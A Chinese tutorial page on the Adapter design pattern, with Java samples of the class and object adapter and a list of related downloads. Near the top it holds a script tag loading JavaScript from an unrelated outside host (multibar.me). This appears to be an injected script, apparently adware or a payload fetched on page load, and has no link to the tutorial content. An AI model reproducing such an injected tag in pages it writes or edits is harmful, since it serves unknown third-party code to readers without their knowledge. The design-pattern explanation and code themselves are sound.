`

设计模式-适配器模式

阅读更多

<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>

六:适配器 (Adapter) 模式

把一个类的接口转换成客户端所期待的另一种接口,从而使得原本因为接口不匹配而无法在一起工作的两个类能够在一起工作。适配器模式有类的适配器模式和对象的适配器模式两种不同的形式。

(1)    类的适配器模式:把被适配的类的 API 转换成目标类的 API ,使用了继承

涉及的角色:

目标角色 (Target) :所期待的接口

(Adaptee) 角色:目前需要适配的接口

适配器 (Adapter) 角色:适配器类是该模式的核心,它把源接口转换成目标接口。既扩展了 Adaptee 又实现了目标接口。

(2)    对象的适配器模式:使用委派关系连接到 Adaptee

涉及的角色:

目标角色 (Target) :所期待的接口

(Adaptee) 角色:目前需要适配的接口

适配器 (Adapter) 角色:适配器类是该模式的核心,它把源接口转换成目标接口。实现了目标接口并且拥有一个源属性。

 

适配器模式的场景:

(1)    系统要使用现有的类,而此类的接口不符合系统的需要。

(2)    想要建立一个可以重复使用的类,用于与一些彼此之间没有太大关联的一些类,包括一些可能在将来引进的类一起工作。

/**对象的适配器模式**/
package com.co.patterns.adapter.object;

public interface Target {

	void operation1();
	void operation2();
}

public class Adaptee {

	public void operation1() {}
}

public class Adapter implements Target {

	private Adaptee adaptee;
	
	public Adapter(Adaptee adaptee) {
		super();
		this.adaptee = adaptee;
	}
	
	@Override
	public void operation1() {
		/*
		 * 源类有该方法,因此适配器类直接委派即可
		 */
		adaptee.operation1();
	}
	@Override
	public void operation2() {
		/*
		 * 由于源接口没有此方法,所以在适配器中提供这个方法。
		 */
	}
}

/**类的适配器模式**/
package com.co.patterns.adapter.type;

public interface Target {

	void operation1();
	void operation2();
}
public class Adaptee {

	public void operation1() {}
}

public class Adapter extends Adaptee implements Target {

	public void operation2() {
		/*
		 * 由于源接口没有此方法,所以在适配器中提供这个方法。
		 */
	}
} 
 

 

0
0
分享到:
评论

相关推荐

    java常用设计模式-适配器模式

    java常用设计模式-适配器模式 适配器模式(Adapter Pattern)是一种结构型设计模式,它允许不兼容的接口之间进行通信。这种模式可以在不修改现有代码的情况下重用现有类,并且可以使不兼容的接口之间进行通信。 ...

    设计模式 - 适配器模式(C++实例)

    适配器模式是一种常用的设计模式,它在软件工程中扮演着重要的角色,特别是在解决系统间的兼容性和接口不匹配问题时。适配器模式的核心思想是将一个类的接口转换成客户希望的另一个接口,使原本由于接口不兼容而无法...

    PHP5设计模式-适配器模式实现

    适配器模式是一种结构型设计模式,它的主要目的是使不兼容的接口能够协同工作。在实际开发中,我们可能会遇到这样的情况:一个类库或者服务提供了一个接口,而我们的代码需要使用另一个接口。适配器模式就充当了两者...

    设计模式-适配器模式(讲解及其实现代码)

    适配器模式是一种常用的设计模式,它在软件工程中扮演着重要的角色,特别是在处理系统集成、遗留代码重用以及不同接口之间兼容性问题时。适配器模式的主要目的是将两个不兼容的接口融合在一起,使得原本无法直接协作...

    JAVA-设计模式-结构型模式-适配器模式

    JAVA-设计模式-结构型模式-适配器模式

    无标题设计模式-适配器模式

    适配器模式是一种设计模式,属于结构型模式,它的主要目的是解决接口不兼容的问题,使得原本因接口不匹配而无法协作的类能够协同工作。适配器模式通过创建一个新的适配器类,将一个类的接口转换为客户期望的另一个...

    8.设计模式-适配器模式1

    适配器模式是一种软件设计模式,它允许不同的接口或类之间进行通信,即使它们的接口不兼容。适配器模式的核心思想是通过创建一个适配器类,将原有类的接口转换为客户期望的接口,从而使得原本无法协作的类能够协同...

    讲故事,学(Java)设计模式-适配器模式Java开发Ja

    适配器模式是一种结构型设计模式,它的主要目的是使不兼容的接口之间能够进行通信。在这个“讲故事,学(Java)设计模式—适配器模式”的主题中,我们将深入探讨这个模式的原理、应用和优势。 适配器模式的核心思想...

    c++设计模式-结构型模式-适配器模式

    c++设计模式-结构型模式-适配器模式,其他工程,c++源码。适配器模式(Adapter)的定义如下:将一个类的接口转换成客户希望的另外一个接口,使得原本由于接口不兼容而不能一起工作的那些类能一起工作。

    23种设计模式--适配器模式

    适配器模式是一种软件设计模式,它允许两个不兼容的接口之间进行通信。在软件工程中,这种模式常被用来解决旧系统与新系统、第三方库或者不同组件之间的接口不匹配问题。适配器模式的核心思想是通过创建一个新的类...

    设计模式--适配器模式java例子

    适配器模式是一种软件设计模式,它允许两个不兼容的接口之间进行通信。在Java编程中,这种模式常用于解决新旧系统之间的对接问题,或者是引入第三方库时接口不匹配的情况。适配器模式的核心思想是创建一个新的类...

    java设计模式-适配器模式

    设计模式(Design pattern)代表了最佳的实践,通常被有经验的面向对象的软件开发人员所采用。设计模式是软件开发人员在软件开发过程中面临的一般问题的解决方案。这些解决方案是众多软件开发人员经过相当长的一段...

    设计模式 - 适配器

    适配器模式(Adapter Pattern)是一种结构型设计模式,它允许两个不兼容的接口之间进行通信。在实际应用中,我们常常遇到这样的情况:一个系统需要使用现有的类,但其接口与系统的需求不匹配。适配器模式能解决这种...

    设计模式--适配器模式

    适配器模式是一种常用的设计模式,它在软件工程中扮演着重要的角色,特别是在解决系统间的兼容性和接口不匹配问题时。适配器模式的核心思想是将一个类的接口转换成客户希望的另一个接口,使原本由于接口不兼容而无法...

    java设计模式--适配器设计

    在软件开发中,设计模式是一种解决常见问题的模板或最佳实践,它被广泛应用于创建可维护、可扩展和高效的应用程序。适配器设计模式是其中一种,它允许不兼容的类之间进行通信,通过创建一个适配器来转换一个类的接口...

    设计模式之--适配器模式

    适配器模式是一种常用的设计模式,它在软件工程中扮演着重要的角色,特别是在解决系统间的兼容性和接口不匹配问题时。适配器模式的核心思想是将一个类的接口转换成客户希望的另一个接口,使原本由于接口不兼容而无法...

    JAVA设计模式--适配器模式借鉴.pdf

    适配器模式是一种软件设计模式,它允许两个不兼容的接口之间进行通信。在Java中,适配器模式常用于将已有类的行为调整为符合新接口的需求,或者将第三方库的类与自己的代码进行集成。在给定的例子中,展示了如何在...

    cpp代码-设计模式-适配器模式

    适配器模式是一种软件设计模式,它允许两个不兼容的接口之间进行通信。在C++编程中,适配器模式通常用于将一个类的接口转换成客户端所期待的另一个接口,使得原本由于接口不匹配而无法一起工作的类可以协同工作。...

Global site tag (gtag.js) - Google Analytics